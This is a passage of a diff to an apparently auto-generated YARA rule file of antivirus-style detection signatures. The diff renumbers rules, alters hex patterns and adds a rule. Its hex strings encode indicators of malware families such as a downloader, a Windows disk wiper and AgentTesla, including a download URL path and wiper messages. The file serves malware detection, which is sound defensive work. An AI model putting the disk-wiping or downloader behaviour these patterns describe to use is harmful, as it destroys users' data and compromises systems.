& 1)*2304+(#a_54_6 & 1)*16685+(#a_53_7 & 1)*24940+(#a_00_8 & 1)*569+(#a_00_11 & 1)*116+(#a_00_12 & 1)*56+(#a_00_13 & 1)*116+(#a_64_14 & 1)*29282+(#a_61_15 & 1)*29291+(#a_67_16 & 1)*26724+(#a_72_17 & 1)*29550+(#a_6a_18 & 1)*28001+(#a_67_19 & 1)*29554+(#a_6f_20 & 1)*385+(#a_69_21 & 1)*28755) >=5 } -rule _InfrastructureShared_19179{ +rule _InfrastructureShared_20377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 21 " @@ -235922,7 +250750,7 @@ rule _InfrastructureShared_19179{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*70+(#a_00_4 & 1)*97+(#a_00_5 & 1)*85+(#a_52_6 & 1)*22347) >=9 } -rule _InfrastructureShared_19180{ +rule _InfrastructureShared_20378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235941,7 +250769,7 @@ rule _InfrastructureShared_19180{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24946+(#a_53_2 & 1)*10280+(#a_6e_3 & 1)*28276+(#a_2e_4 & 1)*25701+(#a_6b_5 & 1)*24938+(#a_73_6 & 1)*25974+(#a_5c_7 & 1)*29281+(#a_00_8 & 1)*11+(#a_41_9 & 1)*29540) >=10 } -rule _InfrastructureShared_19181{ +rule _InfrastructureShared_20379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -235960,7 +250788,7 @@ rule _InfrastructureShared_19181{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*27499+(#a_6f_2 & 1)*25972+(#a_01_3 & 1)*8704+(#a_64_4 & 1)*28503+(#a_90_5 & 1)*27753+(#a_00_7 & 1)*118+(#a_74_8 & 1)*384+(#a_6e_9 & 1)*26414+(#a_64_10 & 1)*5120) >=11 } -rule _InfrastructureShared_19182{ +rule _InfrastructureShared_20380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 11 00 21 " @@ -235978,12 +250806,12 @@ rule _InfrastructureShared_19182{ $a_00_11 = {2f 00 6c 00 69 00 76 00 65 00 72 00 70 00 6f 00 6f 00 6c 00 2d 00 66 00 63 00 2d 00 6e 00 65 00 77 00 73 00 2f 00 66 00 65 00 61 00 74 00 75 00 72 00 65 00 73 00 2f 00 73 00 74 00 65 00 76 00 65 00 6e 00 2d 00 67 00 65 00 72 00 72 00 61 00 72 00 64 00 2d 00 6c 00 69 00 76 00 65 00 72 00 70 00 6f 00 6f 00 6c 00 2d 00 66 00 } //109 /liverpool-fc-news/features/steven-gerrard-liverpool-f $a_00_12 = {75 00 72 00 65 00 2d 00 64 00 61 00 6c 00 67 00 6c 00 69 00 73 00 68 00 2d 00 2d 00 67 00 6f 00 61 00 6c 00 2d 00 90 02 40 2e 00 68 00 74 00 6d 00 6c 00 90 00 01 00 62 02 68 74 74 70 3a 2f 2f 90 02 10 2e 6d 6c 2f 6c 69 76 65 72 70 6f 6f 6c 2d 66 63 2d 6e 65 77 73 2f 66 65 61 74 75 72 65 73 2f 73 74 65 76 65 6e 2d 67 65 72 72 61 72 64 2d 6c 69 76 } //117 $a_6f_13 = {6c 2d 66 75 74 75 72 65 2d 64 61 6c 67 6c 69 73 68 2d 2d 67 6f 61 6c 2d 90 02 40 2e 68 74 6d 6c 90 00 02 00 4c 02 06 13 06 16 13 90 01 01 2b 90 01 01 11 06 11 90 1b 00 9a 13 90 01 01 90 02 0a 11 90 1b 03 28 90 01 04 d2 13 90 01 01 02 7b 90 01 04 11 90 1b 07 6f 90 01 04 90 02 10 11 90 1b 00 17 58 13 90 1b 00 11 90 1b 00 11 06 8e 69 32 } //29285 - $a_00_15 = {06 } //-22152 + $a_00_15 = {04 } //-22152 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*32+(#a_64_3 & 1)*656+(#a_00_4 & 1)*114+(#a_69_5 & 1)*8306+(#a_61_6 & 1)*25451+(#a_01_7 & 1)*27951+(#a_01_8 & 1)*28417+(#a_00_9 & 1)*25345+(#a_10_10 & 1)*-28672+(#a_00_11 & 1)*109+(#a_00_12 & 1)*117+(#a_6f_13 & 1)*29285+(#a_00_15 & 1)*-22152) >=11 } -rule _InfrastructureShared_19183{ +rule _InfrastructureShared_20381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -235997,16 +250825,16 @@ rule _InfrastructureShared_19183{ $a_90_7 = {01 63 90 00 00 00 78 a9 01 00 02 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 50 68 6f 6e 7a 79 2e 53 49 42 21 4d 54 42 00 01 00 bc 02 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 10 2e 00 6d 00 6c 00 2f 00 6c 00 69 00 76 00 65 00 72 00 70 00 6f 00 6f 00 6c 00 2d 00 66 00 63 } //257 $a_00_9 = {73 00 2f 00 66 00 65 00 61 00 74 00 75 00 72 00 65 00 73 00 2f 00 73 00 74 00 65 00 76 00 65 00 6e 00 2d 00 67 00 65 00 72 00 72 00 61 00 72 00 64 00 2d 00 6c 00 69 00 76 00 65 00 72 00 70 00 6f 00 6f 00 6c 00 2d 00 66 00 75 00 74 00 75 00 72 00 65 00 2d 00 64 00 61 00 6c 00 67 00 6c 00 69 00 73 00 68 00 2d 00 2d 00 67 00 6f 00 61 00 6c 00 2d 00 90 02 40 } //101 $a_00_10 = {74 00 6d 00 6c 00 90 00 01 00 62 02 68 74 74 70 3a 2f 2f 90 02 10 2e 6d 6c 2f 6c 69 76 65 72 70 6f 6f 6c 2d 66 63 2d 6e 65 77 73 2f 66 65 61 74 75 72 65 73 2f 73 74 65 76 65 6e 2d 67 65 72 72 61 72 64 2d 6c 69 76 65 72 70 6f 6f 6c 2d 66 75 74 75 72 65 2d 64 61 6c 67 6c 69 73 68 2d 2d 67 6f 61 6c 2d 90 02 40 2e } //46 - $a_6c_11 = {00 02 00 4c 02 06 13 06 16 13 90 01 01 2b 90 01 01 11 06 11 90 1b 00 9a 13 90 01 01 90 02 0a 11 90 1b 03 28 90 01 04 d2 13 90 01 01 02 7b 90 01 04 11 90 1b 07 6f 90 01 04 90 02 10 11 90 1b 00 17 58 13 90 1b 00 11 90 1b 00 11 06 8e 69 32 90 00 00 00 78 a9 01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 } //29800 - $a_6f_12 = {68 2f 44 6f 73 5f 44 6f 77 6e 36 34 00 01 00 50 03 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 44 00 6f 00 77 00 6e 00 2e 00 74 00 78 00 74 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 } //24430 - $a_09_13 = {30 } //11408 0 - $a_2d_14 = {61 2d 7a 90 00 01 00 4e 03 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 43 00 6d 00 64 00 2e 00 74 00 78 00 74 00 90 2c 01 09 30 2d 39 41 2d 5a } //14637 - $a_90_15 = {02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 40 03 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2f 03 50 72 6f 63 65 73 73 58 45 6c 65 6d 65 6e 74 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 } //11617 + $a_6c_11 = {00 02 00 4c 02 06 13 06 16 13 90 01 01 2b 90 01 01 11 06 11 90 1b 00 9a 13 90 01 01 90 02 0a 11 90 1b 03 28 90 01 04 d2 13 90 01 01 02 7b 90 01 04 11 90 1b 07 6f 90 01 04 90 02 10 11 90 1b 00 17 58 13 90 1b 00 11 90 1b 00 11 06 8e 69 32 90 00 00 00 78 a9 01 00 04 00 04 00 09 00 21 23 41 4c 46 3a 44 6f 53 3a 57 69 6e 36 34 2f } //29800 + $a_61_12 = {69 70 65 72 2e 43 21 64 68 61 00 01 00 0e 01 50 61 73 73 20 54 69 6d 65 20 74 6f 6f 6b 01 00 54 01 53 45 4c 45 43 54 20 44 65 76 69 63 65 49 44 2c 20 4d 65 64 69 61 54 79 70 65 2c 20 53 69 7a 65 2c 20 43 61 70 74 69 6f 6e 2c 20 4d 6f 64 65 6c 2c 20 49 6e 74 65 72 66 61 63 65 54 79 70 65 20 46 52 4f 4d 20 57 } //26951 + $a_32_13 = {44 69 73 6b 44 72 69 76 65 01 00 1b 01 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 64 69 73 6b 20 73 69 7a 65 3a 20 25 76 01 00 1b 01 46 61 69 6c 65 64 20 } //28265 + $a_6f_14 = {65 6e 20 64 72 69 76 65 20 25 73 3a 20 25 76 01 00 13 01 53 74 61 72 74 69 6e 67 20 70 61 73 73 } //28532 + $a_2e_15 = {2e 01 00 19 01 50 61 73 73 20 25 64 20 63 6f 6d 70 6c 65 74 65 28 52 61 6e 64 6f 6d 29 2e 01 00 1e 01 66 61 69 6c 65 64 20 74 6f 20 63 6c 65 61 72 20 70 61 72 74 69 74 69 6f 6e 73 3a 20 25 76 02 00 3b 01 00 6d 61 69 6e 2e 69 6e 69 74 00 6d 61 69 6e 2e 6f 70 65 6e 44 72 69 76 65 00 6d 61 69 6e 2e 77 } //9504 condition: - ((#a_6f_0 & 1)*21539+(#a_90_1 & 1)*257+(#a_90_2 & 1)*12033+(#a_63_3 & 1)*28453+(#a_64_5 & 1)*5120+(#a_2f_6 & 1)*400+(#a_90_7 & 1)*257+(#a_00_9 & 1)*101+(#a_00_10 & 1)*46+(#a_6c_11 & 1)*29800+(#a_6f_12 & 1)*24430+(#a_09_13 & 1)*11408+(#a_2d_14 & 1)*14637+(#a_90_15 & 1)*11617) >=1 + ((#a_6f_0 & 1)*21539+(#a_90_1 & 1)*257+(#a_90_2 & 1)*12033+(#a_63_3 & 1)*28453+(#a_64_5 & 1)*5120+(#a_2f_6 & 1)*400+(#a_90_7 & 1)*257+(#a_00_9 & 1)*101+(#a_00_10 & 1)*46+(#a_6c_11 & 1)*29800+(#a_61_12 & 1)*26951+(#a_32_13 & 1)*28265+(#a_6f_14 & 1)*28532+(#a_2e_15 & 1)*9504) >=1 } -rule _InfrastructureShared_19184{ +rule _InfrastructureShared_20382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 03 00 21 " @@ -236017,7 +250845,25 @@ rule _InfrastructureShared_19184{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112) >=1 } -rule _InfrastructureShared_19185{ +rule _InfrastructureShared_20383{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " + + strings : + $a_46_0 = {44 6f 53 3a 57 69 6e 36 34 2f 47 69 67 61 57 69 70 65 72 2e 43 21 64 68 61 00 01 00 0e 01 50 61 73 73 20 54 69 6d 65 20 74 6f 6f 6b 01 00 54 01 53 45 4c 45 43 54 20 44 65 76 69 63 65 49 44 2c 20 4d 65 64 69 61 54 79 70 65 2c 20 } //16675 + $a_65_1 = {20 43 61 70 74 69 6f 6e 2c 20 4d 6f 64 65 6c 2c 20 49 6e 74 65 72 66 61 63 65 54 79 70 65 20 46 52 4f 4d 20 57 69 6e 33 32 5f 44 69 73 6b 44 72 69 76 65 01 00 1b 01 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 64 69 73 6b 20 73 69 7a 65 3a 20 25 76 01 00 1b 01 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 64 72 69 76 65 20 25 73 3a 20 25 76 01 00 13 01 53 74 61 72 74 } //26963 + $a_20_2 = {61 73 73 20 25 64 2e 2e 2e 01 00 19 01 50 61 73 73 20 25 64 20 63 6f 6d 70 6c 65 74 65 28 52 61 6e 64 6f 6d 29 2e 01 00 1e 01 66 61 69 6c 65 64 20 74 6f 20 63 6c 65 61 72 20 70 61 72 74 69 74 69 6f 6e 73 3a 20 25 76 02 00 3b 01 00 6d 61 69 6e 2e 69 6e 69 74 00 6d 61 69 6e 2e 6f 70 65 6e 44 72 69 76 65 00 6d } //28265 + $a_2e_3 = {72 69 74 65 52 61 6e 64 54 6f 44 72 69 76 65 00 66 6d 74 2e 50 72 69 6e 74 6c 6e 02 00 40 01 00 6d 61 69 6e 2e 46 69 6e 64 57 69 6e 64 6f 77 73 44 72 69 76 65 00 6d 61 69 6e 2e 67 65 74 50 68 79 73 69 63 61 6c 44 72 69 76 65 73 00 6d 61 69 6e 2e 67 65 74 50 61 72 74 69 74 69 6f 6e 73 00 00 78 a9 01 00 06 00 06 00 06 00 21 23 41 } //26977 + $a_59_4 = {56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 44 6f 73 5f 44 6f 77 6e 36 34 00 01 00 50 03 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 } //17996 + $a_00_5 = {44 00 6f 00 77 00 6e 00 2e 00 74 00 78 00 74 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 4e 03 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 43 00 6d 00 64 00 2e 00 } //112 + $a_00_6 = {74 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 40 03 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 5c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2f 03 50 72 6f 63 65 73 73 58 45 6c 65 6d 65 6e } //116 + $a_01_7 = {09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 } //-28556 + $a_00_8 = {01 00 30 03 64 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 2a 03 73 65 74 5f 54 69 6d 65 72 31 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 a9 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 41 41 45 } //14637 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26963+(#a_20_2 & 1)*28265+(#a_2e_3 & 1)*26977+(#a_59_4 & 1)*17996+(#a_00_5 & 1)*112+(#a_00_6 & 1)*116+(#a_01_7 & 1)*-28556+(#a_00_8 & 1)*14637) >=4 + +} +rule _InfrastructureShared_20384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -236032,7 +250878,7 @@ rule _InfrastructureShared_19185{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*120+(#a_00_2 & 1)*832+(#a_65_3 & 1)*28530+(#a_69_4 & 1)*24436+(#a_42_5 & 1)*19745) >=6 } -rule _InfrastructureShared_19186{ +rule _InfrastructureShared_20385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -236042,7 +250888,7 @@ rule _InfrastructureShared_19186{ ((#a_54_0 & 1)*18467) >=7 } -rule _InfrastructureShared_19187{ +rule _InfrastructureShared_20386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -236057,7 +250903,7 @@ rule _InfrastructureShared_19187{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-30463+(#a_ff_2 & 1)*513+(#a_00_4 & 1)*92+(#a_6c_6 & 1)*10240+(#a_90_7 & 1)*27748) >=1 } -rule _InfrastructureShared_19188{ +rule _InfrastructureShared_20387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -236073,7 +250919,7 @@ rule _InfrastructureShared_19188{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*119+(#a_2d_2 & 1)*23085+(#a_61_3 & 1)*11585+(#a_09_4 & 1)*6544+(#a_2d_5 & 1)*31277+(#a_00_6 & 1)*7) >=2 } -rule _InfrastructureShared_19189{ +rule _InfrastructureShared_20388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -236086,7 +250932,7 @@ rule _InfrastructureShared_19189{ ((#a_54_0 & 1)*18467+(#a_00_4 & 1)*0+(#a_00_5 & 1)*0+(#a_35_6 & 1)*12343) >=7 } -rule _InfrastructureShared_19190{ +rule _InfrastructureShared_20389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -236107,7 +250953,7 @@ rule _InfrastructureShared_19190{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29532+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_ab_10 & 1)*0+(#a_69_11 & 1)*29746) >=12 } -rule _InfrastructureShared_19191{ +rule _InfrastructureShared_20390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -236121,7 +250967,7 @@ rule _InfrastructureShared_19191{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*18226+(#a_6f_2 & 1)*29281+(#a_6f_3 & 1)*12641+(#a_6b_4 & 1)*12849) >=5 } -rule _InfrastructureShared_19192{ +rule _InfrastructureShared_20391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -236138,7 +250984,7 @@ rule _InfrastructureShared_19192{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*28524+(#a_00_2 & 1)*83+(#a_41_3 & 1)*25970+(#a_6e_4 & 1)*25972+(#a_72_5 & 1)*29795+(#a_00_7 & 1)*97+(#a_00_8 & 1)*100) >=5 } -rule _InfrastructureShared_19193{ +rule _InfrastructureShared_20392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -236152,7 +250998,7 @@ rule _InfrastructureShared_19193{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25445+(#a_00_3 & 1)*101+(#a_00_4 & 1)*101+(#a_48_5 & 1)*8448) >=6 } -rule _InfrastructureShared_19194{ +rule _InfrastructureShared_20393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -236169,7 +251015,7 @@ rule _InfrastructureShared_19194{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28524+(#a_00_3 & 1)*46+(#a_00_5 & 1)*114+(#a_00_6 & 1)*10+(#a_32_7 & 1)*28265+(#a_65_8 & 1)*25966+(#a_6b_9 & 1)*28265) >=10 } -rule _InfrastructureShared_19195{ +rule _InfrastructureShared_20394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -236188,7 +251034,7 @@ rule _InfrastructureShared_19195{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*21340+(#a_69_2 & 1)*23667+(#a_73_3 & 1)*9587+(#a_00_4 & 1)*12+(#a_53_5 & 1)*14958+(#a_33_6 & 1)*12848+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_19196{ +rule _InfrastructureShared_20395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -236209,7 +251055,7 @@ rule _InfrastructureShared_19196{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*12855+(#a_01_2 & 1)*25955+(#a_33_3 & 1)*14129+(#a_63_4 & 1)*27234+(#a_61_5 & 1)*28530+(#a_66_6 & 1)*28753+(#a_79_7 & 1)*25454+(#a_cf_8 & 1)*-5202+(#a_44_9 & 1)*3840+(#a_03_10 & 1)*-28535+(#a_89_11 & 1)*0) >=12 } -rule _InfrastructureShared_19197{ +rule _InfrastructureShared_20396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -236229,7 +251075,7 @@ rule _InfrastructureShared_19197{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*25436+(#a_42_2 & 1)*21505+(#a_1f_3 & 1)*16184+(#a_90_5 & 1)*-30392+(#a_01_6 & 1)*-29880+(#a_01_7 & 1)*-30392+(#a_68_8 & 1)*28498+(#a_42_9 & 1)*21280+(#a_41_10 & 1)*11617+(#a_2d_11 & 1)*31277) >=13 } -rule _InfrastructureShared_19198{ +rule _InfrastructureShared_20397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -236240,7 +251086,7 @@ rule _InfrastructureShared_19198{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*400) >=2 } -rule _InfrastructureShared_19199{ +rule _InfrastructureShared_20398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -236255,7 +251101,7 @@ rule _InfrastructureShared_19199{ ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*8313+(#a_72_2 & 1)*29298+(#a_2d_3 & 1)*31277+(#a_01_4 & 1)*-28672+(#a_09_6 & 1)*11408) >=4 } -rule _InfrastructureShared_19200{ +rule _InfrastructureShared_20399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -236270,7 +251116,7 @@ rule _InfrastructureShared_19200{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25455+(#a_6c_2 & 1)*19807+(#a_00_4 & 1)*114+(#a_c6_5 & 1)*27940+(#a_00_7 & 1)*74) >=6 } -rule _InfrastructureShared_19201{ +rule _InfrastructureShared_20400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -236283,7 +251129,7 @@ rule _InfrastructureShared_19201{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*78+(#a_00_3 & 1)*101+(#a_00_5 & 1)*115) >=7 } -rule _InfrastructureShared_19202{ +rule _InfrastructureShared_20401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -236302,7 +251148,7 @@ rule _InfrastructureShared_19202{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28769+(#a_6f_2 & 1)*23667+(#a_68_3 & 1)*25960+(#a_72_4 & 1)*27746+(#a_32_5 & 1)*24881+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1) >=10 } -rule _InfrastructureShared_19203{ +rule _InfrastructureShared_20402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -236325,7 +251171,7 @@ rule _InfrastructureShared_19203{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27940+(#a_31_2 & 1)*24885+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_ac_9 & 1)*0+(#a_6e_10 & 1)*26996+(#a_5f_11 & 1)*12639+(#a_5f_12 & 1)*12336+(#a_73_13 & 1)*26996) >=15 } -rule _InfrastructureShared_19204{ +rule _InfrastructureShared_20403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 0a 00 21 " @@ -236344,7 +251190,7 @@ rule _InfrastructureShared_19204{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*13879+(#a_68_2 & 1)*28018+(#a_75_3 & 1)*26739+(#a_69_4 & 1)*29797+(#a_00_5 & 1)*50+(#a_35_6 & 1)*13365+(#a_41_7 & 1)*13364+(#a_32_8 & 1)*17465+(#a_39_9 & 1)*13105) >=19 } -rule _InfrastructureShared_19205{ +rule _InfrastructureShared_20404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -236362,7 +251208,7 @@ rule _InfrastructureShared_19205{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*12342+(#a_30_2 & 1)*12614+(#a_41_3 & 1)*17977+(#a_41_4 & 1)*17974+(#a_46_5 & 1)*13873+(#a_6a_6 & 1)*29268+(#a_41_7 & 1)*1+(#a_80_9 & 1)*-1917) >=3 } -rule _InfrastructureShared_19206{ +rule _InfrastructureShared_20405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -236375,7 +251221,7 @@ rule _InfrastructureShared_19206{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*14092+(#a_09_2 & 1)*-31473+(#a_03_3 & 1)*-31729) >=4 } -rule _InfrastructureShared_19207{ +rule _InfrastructureShared_20406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -236389,7 +251235,7 @@ rule _InfrastructureShared_19207{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*14372+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_ad_5 & 1)*0) >=6 } -rule _InfrastructureShared_19208{ +rule _InfrastructureShared_20407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -236405,7 +251251,7 @@ rule _InfrastructureShared_19208{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_4f_3 & 1)*21844+(#a_01_4 & 1)*-28564+(#a_00_5 & 1)*14637+(#a_97_8 & 1)*-6670) >=6 } -rule _InfrastructureShared_19209{ +rule _InfrastructureShared_20408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -236421,7 +251267,7 @@ rule _InfrastructureShared_19209{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26994+(#a_38_2 & 1)*30565+(#a_6d_3 & 1)*26994+(#a_3a_4 & 1)*29545+(#a_00_6 & 1)*107+(#a_6c_7 & 1)*24878) >=8 } -rule _InfrastructureShared_19210{ +rule _InfrastructureShared_20409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -236438,7 +251284,7 @@ rule _InfrastructureShared_19210{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_65_2 & 1)*28265+(#a_49_3 & 1)*27506+(#a_00_5 & 1)*116+(#a_6e_6 & 1)*29300+(#a_34_7 & 1)*13101+(#a_00_8 & 1)*274) >=10 } -rule _InfrastructureShared_19211{ +rule _InfrastructureShared_20410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -236455,7 +251301,7 @@ rule _InfrastructureShared_19211{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24946+(#a_00_3 & 1)*108+(#a_00_5 & 1)*81+(#a_00_7 & 1)*77+(#a_63_8 & 1)*26691+(#a_72_10 & 1)*25938+(#a_00_11 & 1)*44) >=12 } -rule _InfrastructureShared_19212{ +rule _InfrastructureShared_20411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -236476,7 +251322,7 @@ rule _InfrastructureShared_19212{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29797+(#a_63_2 & 1)*30063+(#a_00_3 & 1)*110+(#a_53_4 & 1)*14956+(#a_00_6 & 1)*120+(#a_00_7 & 1)*53+(#a_00_9 & 1)*82+(#a_00_10 & 1)*105+(#a_33_11 & 1)*14132+(#a_33_12 & 1)*17974+(#a_33_13 & 1)*17462) >=14 } -rule _InfrastructureShared_19213{ +rule _InfrastructureShared_20412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -236488,7 +251334,7 @@ rule 